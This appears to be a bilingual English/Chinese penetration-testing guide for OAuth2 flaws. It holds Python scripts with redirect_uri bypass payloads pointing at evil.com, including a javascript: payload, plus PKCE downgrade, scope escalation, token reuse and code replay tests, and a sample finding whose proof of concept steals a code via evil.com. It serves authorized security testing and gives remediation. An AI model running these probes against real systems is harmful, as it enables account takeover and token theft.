testing-oauth2-implementation-flaws

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Testing OAuth2 Implementation Flaws

OAuth2实现漏洞测试

When to Use

适用场景

  • Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
  • Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
  • Evaluating token storage, transmission, and lifecycle management in OAuth implementations
  • Testing scope escalation where clients request more permissions than authorized
  • Assessing OpenID Connect implementations for ID token validation and nonce usage
Do not use without written authorization. OAuth testing may result in token theft or unauthorized access.
  • 评估OAuth 2.0授权码流程中的重定向URI验证薄弱点
  • 测试OAuth客户端应用的CSRF防护(state参数使用情况)和PKCE强制实施情况
  • 评估OAuth实现中的令牌存储、传输和生命周期管理
  • 测试客户端请求超出授权权限范围的权限范围升级问题
  • 评估OpenID Connect实现中的ID令牌验证和nonce使用情况
未经书面授权请勿使用。OAuth测试可能导致令牌被盗或未授权访问。

Prerequisites

前置条件

  • Written authorization specifying the OAuth provider and client applications in scope
  • Test OAuth client registered with the authorization server
  • Burp Suite Professional for intercepting OAuth redirects and token flows
  • Python 3.10+ with
    requests
    and
    oauthlib
    libraries
  • Browser developer tools for observing OAuth redirect chains
  • Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)
  • 书面授权,明确测试范围内的OAuth提供商和客户端应用
  • 在授权服务器注册的测试OAuth客户端
  • 用于拦截OAuth重定向和令牌流程的Burp Suite Professional
  • 安装了
    requests
    oauthlib
    库的Python 3.10+
  • 用于观察OAuth重定向链的浏览器开发者工具
  • 了解当前使用的OAuth 2.0授权类型(授权码、隐式、客户端凭证)

Workflow

测试流程

Step 1: OAuth Flow Reconnaissance

步骤1:OAuth流程侦察

python
import requests
import urllib.parse
import re
import hashlib
import base64
import secrets

AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"
python
import requests
import urllib.parse
import re
import hashlib
import base64
import secrets

AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"

Discover OAuth endpoints

发现OAuth端点

well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration") if well_known.status_code == 200: config = well_known.json() print("OAuth/OIDC Configuration:") print(f" Authorization: {config.get('authorization_endpoint')}") print(f" Token: {config.get('token_endpoint')}") print(f" UserInfo: {config.get('userinfo_endpoint')}") print(f" JWKS: {config.get('jwks_uri')}") print(f" Supported grants: {config.get('grant_types_supported')}") print(f" Supported scopes: {config.get('scopes_supported')}") print(f" PKCE methods: {config.get('code_challenge_methods_supported')}") auth_endpoint = config['authorization_endpoint'] token_endpoint = config['token_endpoint'] else: # Try common paths for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]: resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False) if resp.status_code in (302, 400): print(f"Authorization endpoint found: {AUTH_SERVER}{path}") auth_endpoint = f"{AUTH_SERVER}{path}" break
undefined
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration") if well_known.status_code == 200: config = well_known.json() print("OAuth/OIDC Configuration:") print(f" Authorization: {config.get('authorization_endpoint')}") print(f" Token: {config.get('token_endpoint')}") print(f" UserInfo: {config.get('userinfo_endpoint')}") print(f" JWKS: {config.get('jwks_uri')}") print(f" Supported grants: {config.get('grant_types_supported')}") print(f" Supported scopes: {config.get('scopes_supported')}") print(f" PKCE methods: {config.get('code_challenge_methods_supported')}") auth_endpoint = config['authorization_endpoint'] token_endpoint = config['token_endpoint'] else: # 尝试常见路径 for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]: resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False) if resp.status_code in (302, 400): print(f"Authorization endpoint found: {AUTH_SERVER}{path}") auth_endpoint = f"{AUTH_SERVER}{path}" break
undefined

Step 2: Redirect URI Validation Testing

步骤2:重定向URI验证测试

python
undefined
python
undefined

Test redirect_uri validation strictness

测试redirect_uri验证严格性

REDIRECT_BYPASS_PAYLOADS = [ # Open redirect variations REDIRECT_URI, # Legitimate "https://evil.com", # Different domain "https://app.example.com.evil.com/callback", # Subdomain of attacker "https://app.example.com@evil.com/callback", # URL authority confusion f"{REDIRECT_URI}/../../../evil.com", # Path traversal f"{REDIRECT_URI}?next=https://evil.com", # Parameter injection f"{REDIRECT_URI}#https://evil.com", # Fragment injection f"{REDIRECT_URI}%23evil.com", # Encoded fragment "https://app.example.com/callback/../../evil", # Relative path "https://APP.EXAMPLE.COM/callback", # Case variation "https://app.example.com/Callback", # Path case variation "https://app.example.com/callback/", # Trailing slash "https://app.example.com/callback?", # Trailing question mark "http://app.example.com/callback", # HTTP downgrade "https://app.example.com:443/callback", # Explicit port "https://app.example.com:8443/callback", # Different port f"{REDIRECT_URI}/.evil.com", # Dot segment "https://app.example.com/callbackevil", # Path prefix match "javascript://app.example.com/callback%0aalert(1)", # JavaScript protocol ]
print("=== Redirect URI Validation Testing ===\n") for redirect in REDIRECT_BYPASS_PAYLOADS: params = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": redirect, "scope": SCOPE, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
    location = resp.headers.get("Location", "")
    if "code=" in location or redirect in location:
        status = "ACCEPTED"
        if redirect != REDIRECT_URI:
            print(f"  [VULNERABLE] {redirect[:70]} -> Redirect accepted")
    else:
        status = "REDIRECTED"
elif resp.status_code == 400:
    status = "REJECTED"
else:
    status = f"HTTP {resp.status_code}"

if redirect == REDIRECT_URI:
    print(f"  [BASELINE] {redirect[:70]} -> {status}")
undefined
REDIRECT_BYPASS_PAYLOADS = [ # 开放重定向变体 REDIRECT_URI, # 合法URI "https://evil.com", # 不同域名 "https://app.example.com.evil.com/callback", # 攻击者子域名 "https://app.example.com@evil.com/callback", # URL权限混淆 f"{REDIRECT_URI}/../../../evil.com", # 路径遍历 f"{REDIRECT_URI}?next=https://evil.com", # 参数注入 f"{REDIRECT_URI}#https://evil.com", # 片段注入 f"{REDIRECT_URI}%23evil.com", # 编码片段 "https://app.example.com/callback/../../evil", # 相对路径 "https://APP.EXAMPLE.COM/callback", # 大小写变体 "https://app.example.com/Callback", # 路径大小写变体 "https://app.example.com/callback/", # 尾部斜杠 "https://app.example.com/callback?", # 尾部问号 "http://app.example.com/callback", # HTTP降级 "https://app.example.com:443/callback", # 显式端口 "https://app.example.com:8443/callback", # 不同端口 f"{REDIRECT_URI}/.evil.com", # 点段 "https://app.example.com/callbackevil", # 路径前缀匹配 "javascript://app.example.com/callback%0aalert(1)", # JavaScript协议 ]
print("=== 重定向URI验证测试 ===\n") for redirect in REDIRECT_BYPASS_PAYLOADS: params = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": redirect, "scope": SCOPE, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
    location = resp.headers.get("Location", "")
    if "code=" in location or redirect in location:
        status = "ACCEPTED"
        if redirect != REDIRECT_URI:
            print(f"  [存在漏洞] {redirect[:70]} -> 重定向被接受")
    else:
        status = "REDIRECTED"
elif resp.status_code == 400:
    status = "REJECTED"
else:
    status = f"HTTP {resp.status_code}"

if redirect == REDIRECT_URI:
    print(f"  [基准测试] {redirect[:70]} -> {status}")
undefined

Step 3: State Parameter (CSRF) Testing

步骤3:State参数(CSRF)测试

python
undefined
python
undefined

Test 1: Missing state parameter

测试1:缺少state参数

params_no_state = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": SCOPE, } resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False) if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""): print("[CSRF] Authorization code issued without state parameter")
params_no_state = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": SCOPE, } resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False) if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""): print("[CSRF] 未提供state参数仍颁发授权码")

Test 2: State parameter reuse

测试2:重复使用state参数

state_value = "fixed_state_value_123"
state_value = "fixed_state_value_123"

Use same state for multiple authorization requests

多次授权请求使用相同state

for i in range(3): params = {**params_no_state, "state": state_value} resp = requests.get(auth_endpoint, params=params, allow_redirects=False) if resp.status_code == 302: location = resp.headers.get("Location", "") returned_state = urllib.parse.parse_qs( urllib.parse.urlparse(location).query).get("state", [None])[0] if returned_state == state_value: print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)")
for i in range(3): params = {**params_no_state, "state": state_value} resp = requests.get(auth_endpoint, params=params, allow_redirects=False) if resp.status_code == 302: location = resp.headers.get("Location", "") returned_state = urllib.parse.parse_qs( urllib.parse.urlparse(location).query).get("state", [None])[0] if returned_state == state_value: print(f"[信息] 第{i+1}次请求接受相同state(需检查客户端验证)")

Test 3: Token exchange without state validation (client-side check)

测试3:未验证state的令牌交换(客户端检查)

Intercept the callback and try exchanging the code without state

拦截回调请求,尝试不携带state交换授权码

print("\nNote: State validation is a client-side check. Verify the callback handler validates state.")
undefined
print("\n注意:state验证是客户端侧检查,请验证回调处理程序是否验证state。")
undefined

Step 4: PKCE Bypass Testing

步骤4:PKCE绕过测试

python
undefined
python
undefined

Test if PKCE (Proof Key for Code Exchange) is enforced

测试是否强制实施PKCE(授权码交换证明密钥)

Generate PKCE values

生成PKCE值

code_verifier = secrets.token_urlsafe(64)[:128] code_challenge = base64.urlsafe_b64encode( hashlib.sha256(code_verifier.encode()).digest() ).decode().rstrip('=')
code_verifier = secrets.token_urlsafe(64)[:128] code_challenge = base64.urlsafe_b64encode( hashlib.sha256(code_verifier.encode()).digest() ).decode().rstrip('=')

Test 1: Authorization request without PKCE

测试1:不携带PKCE的授权请求

params_no_pkce = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": SCOPE, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False) if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""): print("[PKCE] Authorization code issued without PKCE challenge")
params_no_pkce = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": SCOPE, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False) if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""): print("[PKCE] 未提供PKCE挑战仍颁发授权码")

Test 2: Token exchange without code_verifier

测试2:不携带code_verifier的令牌交换

auth_code = "captured_auth_code" # From intercept token_resp = requests.post(token_endpoint, data={ "grant_type": "authorization_code", "code": auth_code, "redirect_uri": REDIRECT_URI, "client_id": CLIENT_ID, # No code_verifier }) if token_resp.status_code == 200: print("[PKCE] Token issued without code_verifier - PKCE not enforced")
auth_code = "captured_auth_code" # 从拦截中获取 token_resp = requests.post(token_endpoint, data={ "grant_type": "authorization_code", "code": auth_code, "redirect_uri": REDIRECT_URI, "client_id": CLIENT_ID, # 无code_verifier }) if token_resp.status_code == 200: print("[PKCE] 未提供code_verifier仍颁发令牌 - PKCE未强制实施")

Test 3: Token exchange with wrong code_verifier

测试3:使用错误code_verifier的令牌交换

token_resp = requests.post(token_endpoint, data={ "grant_type": "authorization_code", "code": auth_code, "redirect_uri": REDIRECT_URI, "client_id": CLIENT_ID, "code_verifier": "wrong_verifier_value_that_does_not_match", }) if token_resp.status_code == 200: print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken")
token_resp = requests.post(token_endpoint, data={ "grant_type": "authorization_code", "code": auth_code, "redirect_uri": REDIRECT_URI, "client_id": CLIENT_ID, "code_verifier": "wrong_verifier_value_that_does_not_match", }) if token_resp.status_code == 200: print("[PKCE] 使用错误code_verifier仍颁发令牌 - PKCE验证失效")

Test 4: Downgrade from S256 to plain

测试4:从S256降级为plain

params_plain_pkce = { **params_no_pkce, "code_challenge": code_verifier, # Plain = verifier itself "code_challenge_method": "plain", } resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False) if resp.status_code == 302: print("[PKCE] Plain challenge method accepted - vulnerable to interception")
undefined
params_plain_pkce = { **params_no_pkce, "code_challenge": code_verifier, # Plain = 验证器本身 "code_challenge_method": "plain", } resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False) if resp.status_code == 302: print("[PKCE] 接受Plain挑战方法 - 易被拦截攻击")
undefined

Step 5: Scope Escalation and Token Testing

步骤5:权限范围升级与令牌测试

python
undefined
python
undefined

Test 1: Request additional scopes beyond what's registered

测试1:请求超出注册范围的额外权限

elevated_scopes = [ "openid profile email admin", "openid profile email write:users", "openid profile email delete:", "openid profile email admin:full", "", ]
for scope in elevated_scopes: params = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": scope, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=params, allow_redirects=False) if resp.status_code == 302: location = resp.headers.get("Location", "") if "code=" in location: print(f"[SCOPE] Elevated scope accepted: {scope}")
elevated_scopes = [ "openid profile email admin", "openid profile email write:users", "openid profile email delete:", "openid profile email admin:full", "", ]
for scope in elevated_scopes: params = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": scope, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=params, allow_redirects=False) if resp.status_code == 302: location = resp.headers.get("Location", "") if "code=" in location: print(f"[权限范围] 接受升级后的权限范围: {scope}")

Test 2: Token reuse across clients

测试2:跨客户端复用令牌

Use a token from client A on client B's API

将客户端A的令牌用于客户端B的API

token_a = "access_token_from_client_a" resp = requests.get("https://other-service.example.com/api/resource", headers={"Authorization": f"Bearer {token_a}"}) if resp.status_code == 200: print("[TOKEN] Token from client A accepted by different service (audience not validated)")
token_a = "access_token_from_client_a" resp = requests.get("https://other-service.example.com/api/resource", headers={"Authorization": f"Bearer {token_a}"}) if resp.status_code == 200: print("[令牌] 客户端A的令牌被其他服务接受(未验证受众)")

Test 3: Refresh token theft and reuse

测试3:刷新令牌窃取与复用

refresh_token = "captured_refresh_token"
refresh_token = "captured_refresh_token"

Try using refresh token with different client_id

尝试使用不同client_id的刷新令牌

token_resp = requests.post(token_endpoint, data={ "grant_type": "refresh_token", "refresh_token": refresh_token, "client_id": "different-client-id", }) if token_resp.status_code == 200: print("[TOKEN] Refresh token accepted for different client - not bound to client")
undefined
token_resp = requests.post(token_endpoint, data={ "grant_type": "refresh_token", "refresh_token": refresh_token, "client_id": "different-client-id", }) if token_resp.status_code == 200: print("[令牌] 刷新令牌被其他客户端接受 - 未绑定到客户端")
undefined

Step 6: Implicit Flow and Token Leakage Testing

步骤6:隐式流程与令牌泄露测试

python
undefined
python
undefined

Test if implicit flow is enabled (should be disabled per OAuth 2.1)

测试是否启用隐式流程(OAuth 2.1中应禁用)

implicit_params = { "response_type": "token", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": SCOPE, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False) if resp.status_code == 302: location = resp.headers.get("Location", "") if "access_token=" in location: print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)")
implicit_params = { "response_type": "token", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": SCOPE, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False) if resp.status_code == 302: location = resp.headers.get("Location", "") if "access_token=" in location: print("[隐式流程] 隐式流程已启用 - 令牌在URL片段中(已弃用/不安全)")

Test token leakage via Referer header

测试通过Referer头泄露令牌

Check if tokens appear in URLs that could leak via Referer

检查令牌是否出现在可能通过Referer泄露的URL中

print("\nToken Leakage Checks:") print(" - Check if access tokens appear in URL query parameters") print(" - Check if tokens are logged in server access logs") print(" - Check if callback URL with code is cached by the browser") print(" - Check if the authorization code is single-use (replay test)")
print("\n令牌泄露检查:") print(" - 检查访问令牌是否出现在URL查询参数中") print(" - 检查令牌是否被记录在服务器访问日志中") print(" - 检查带有授权码的回调URL是否被浏览器缓存") print(" - 检查授权码是否为单次使用(重放测试)")

Authorization code replay test

授权码重放测试

auth_code_to_replay = "captured_auth_code" for attempt in range(3): token_resp = requests.post(token_endpoint, data={ "grant_type": "authorization_code", "code": auth_code_to_replay, "redirect_uri": REDIRECT_URI, "client_id": CLIENT_ID, "client_secret": "client_secret_value", }) print(f" Code replay attempt {attempt+1}: {token_resp.status_code}") if attempt > 0 and token_resp.status_code == 200: print(" [VULNERABLE] Authorization code is not single-use")
undefined
auth_code_to_replay = "captured_auth_code" for attempt in range(3): token_resp = requests.post(token_endpoint, data={ "grant_type": "authorization_code", "code": auth_code_to_replay, "redirect_uri": REDIRECT_URI, "client_id": CLIENT_ID, "client_secret": "client_secret_value", }) print(f" 授权码重放尝试 {attempt+1}: {token_resp.status_code}") if attempt > 0 and token_resp.status_code == 200: print(" [存在漏洞] 授权码并非单次使用")
undefined

Key Concepts

核心概念

TermDefinition
Authorization Code FlowOAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint
PKCEProof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier/challenge, preventing authorization code interception
Redirect URI ValidationAuthorization server verification that the redirect_uri matches the registered value exactly, preventing code/token theft via open redirect
State ParameterRandom value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow
Scope EscalationRequesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access
Implicit FlowDeprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks
术语定义
Authorization Code FlowOAuth 2.0流程,客户端通过重定向获取授权码,然后在令牌端点交换为令牌
PKCE授权码交换证明密钥 - 扩展功能,通过代码验证器/挑战将授权请求与令牌请求绑定,防止授权码拦截
Redirect URI Validation授权服务器验证redirect_uri是否与注册值完全匹配,防止通过开放重定向窃取代码/令牌
State Parameter在授权请求中传递的随机值,在回调中验证以防止OAuth流程中的CSRF攻击
Scope Escalation请求或获取超出客户端授权的权限(范围),导致未授权访问
Implicit Flow已弃用的OAuth流程,直接在URL片段中返回令牌,易受令牌泄露和重放攻击

Tools & Systems

工具与系统

  • Burp Suite Professional: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges
  • EsPReSSO (Burp Extension): Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities
  • oauth2-security-tester: Dedicated tool for testing OAuth 2.0 flows against common attack patterns
  • OWASP ZAP: Passive scanner that detects OAuth misconfigurations in intercepted traffic
  • jwt.io: Online JWT decoder for analyzing OAuth access tokens and ID tokens
  • Burp Suite Professional: 拦截和操纵OAuth重定向、授权码和令牌交换
  • EsPReSSO (Burp Extension): 自动化测试OAuth和OpenID Connect实现中的已知漏洞
  • oauth2-security-tester: 专门用于测试OAuth 2.0流程常见攻击模式的工具
  • OWASP ZAP: 被动扫描器,检测拦截流量中的OAuth配置错误
  • jwt.io: 在线JWT解码器,用于分析OAuth访问令牌和ID令牌

Common Scenarios

常见场景

Scenario: Social Login OAuth Implementation Assessment

场景:社交登录OAuth实现评估

Context: A web application implements "Login with Google" and "Login with GitHub" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.
Approach:
  1. Analyze the OAuth configuration at
    /.well-known/openid-configuration
    for both providers
  2. Test redirect URI validation: discover that the application registers
    https://app.example.com/callback
    but the server accepts
    https://app.example.com/callback/..%2fevil
  3. Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)
  4. Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile
  5. Test implicit flow: still enabled despite not being used by the application
  6. Test scope: application requests
    openid profile email
    but the authorization server also grants
    read:repos
    without explicit consent
  7. Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement
  8. Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)
Pitfalls:
  • Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters
  • Not testing both the authorization request and the token exchange independently
  • Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri
  • Not testing the state parameter validation on the client side (server may include it but client may not check it)
  • Assuming PKCE is enforced because the authorization server supports it (client must also send it)
背景: 某Web应用使用OAuth 2.0授权码流程实现"使用Google登录"和"使用GitHub登录"。该应用是SaaS平台,账户接管会带来高业务影响。
测试方法:
  1. 分析两个提供商在
    /.well-known/openid-configuration
    的OAuth配置
  2. 测试重定向URI验证:发现应用注册了
    https://app.example.com/callback
    ,但服务器接受
    https://app.example.com/callback/..%2fevil
  3. 测试state参数:授权请求包含state,但回调处理程序未验证(存在CSRF风险)
  4. 测试PKCE:授权码流程未实现PKCE,导致移动端易被代码拦截
  5. 测试隐式流程:尽管应用未使用,但仍处于启用状态
  6. 测试权限范围:应用请求
    openid profile email
    ,但授权服务器在无明确同意的情况下还授予了
    read:repos
    权限
  7. 测试授权码重放:授权码可被交换两次,说明未强制单次使用
  8. 测试令牌受众:Google登录的访问令牌被GitHub API端点接受(未验证受众)
常见误区:
  • 仅在浏览器中测试OAuth流程,未拦截和操纵重定向参数
  • 未独立测试授权请求和令牌交换过程
  • 遗漏应用中可与OAuth redirect_uri结合的开放重定向漏洞
  • 未测试客户端侧的state参数验证(服务器可能包含但客户端未检查)
  • 假设授权服务器支持PKCE就会强制实施(客户端也必须发送相关参数)

Output Format

输出格式

undefined
undefined

Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft

发现:OAuth2重定向URI绕过可导致授权码窃取

ID: API-OAUTH-001 Severity: Critical (CVSS 9.3) Affected Component: OAuth 2.0 Authorization Code Flow Authorization Server: auth.example.com
Description: The authorization server's redirect_uri validation uses prefix matching instead of exact string matching. An attacker can manipulate the redirect_uri to redirect the authorization code to an attacker-controlled endpoint, enabling account takeover. Additionally, PKCE is not enforced and the state parameter is not validated by the client application.
Proof of Concept:
  1. Craft authorization URL with manipulated redirect_uri: https://auth.example.com/authorize?response_type=code&client_id=app &redirect_uri=https://app.example.com/callback/../../../evil.com &scope=openid+profile+email&state=abc123
  2. User authenticates and approves consent
  3. Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123
  4. Attacker exchanges code at token endpoint (no PKCE required)
  5. Attacker receives access token and ID token for victim's account
Impact: Complete account takeover for any user who clicks a crafted OAuth login link. The attacker gains full access to the user's profile, email, and any resources the OAuth scope grants access to.
Remediation:
  1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)
  2. Enforce PKCE (S256 method) for all authorization code flow requests
  3. Validate the state parameter in the callback handler before exchanging the code
  4. Disable the implicit flow on the authorization server
  5. Enforce single-use authorization codes with a short TTL (max 60 seconds)
  6. Validate the audience (aud) claim in tokens before accepting them
undefined
ID: API-OAUTH-001 严重程度: 关键(CVSS 9.3) 受影响组件: OAuth 2.0授权码流程 授权服务器: auth.example.com
描述: 授权服务器的redirect_uri验证使用前缀匹配而非精确字符串匹配。攻击者可操纵redirect_uri将授权码重定向到攻击者控制的端点,从而实现账户接管。此外,PKCE未被强制实施,且客户端应用未验证state参数。
概念验证:
  1. 构造带有操纵后redirect_uri的授权URL: https://auth.example.com/authorize?response_type=code&client_id=app &redirect_uri=https://app.example.com/callback/../../../evil.com &scope=openid+profile+email&state=abc123
  2. 用户认证并同意授权
  3. 授权码被重定向到https://evil.com?code=AUTH_CODE&state=abc123
  4. 攻击者在令牌端点交换代码(无需PKCE)
  5. 攻击者获取受害者账户的访问令牌和ID令牌
影响: 任何点击精心构造的OAuth登录链接的用户都会被完全接管账户。攻击者可完全访问用户的个人资料、邮箱以及OAuth权限范围内的所有资源。
修复建议:
  1. 对redirect_uri验证实现精确字符串匹配(不使用通配符,不使用前缀匹配)
  2. 对所有授权码流程请求强制实施PKCE(S256方法)
  3. 在交换代码前,在回调处理程序中验证state参数
  4. 在授权服务器上禁用隐式流程
  5. 强制授权码单次使用,并设置短TTL(最长60秒)
  6. 在接受令牌前验证受众(aud)声明
undefined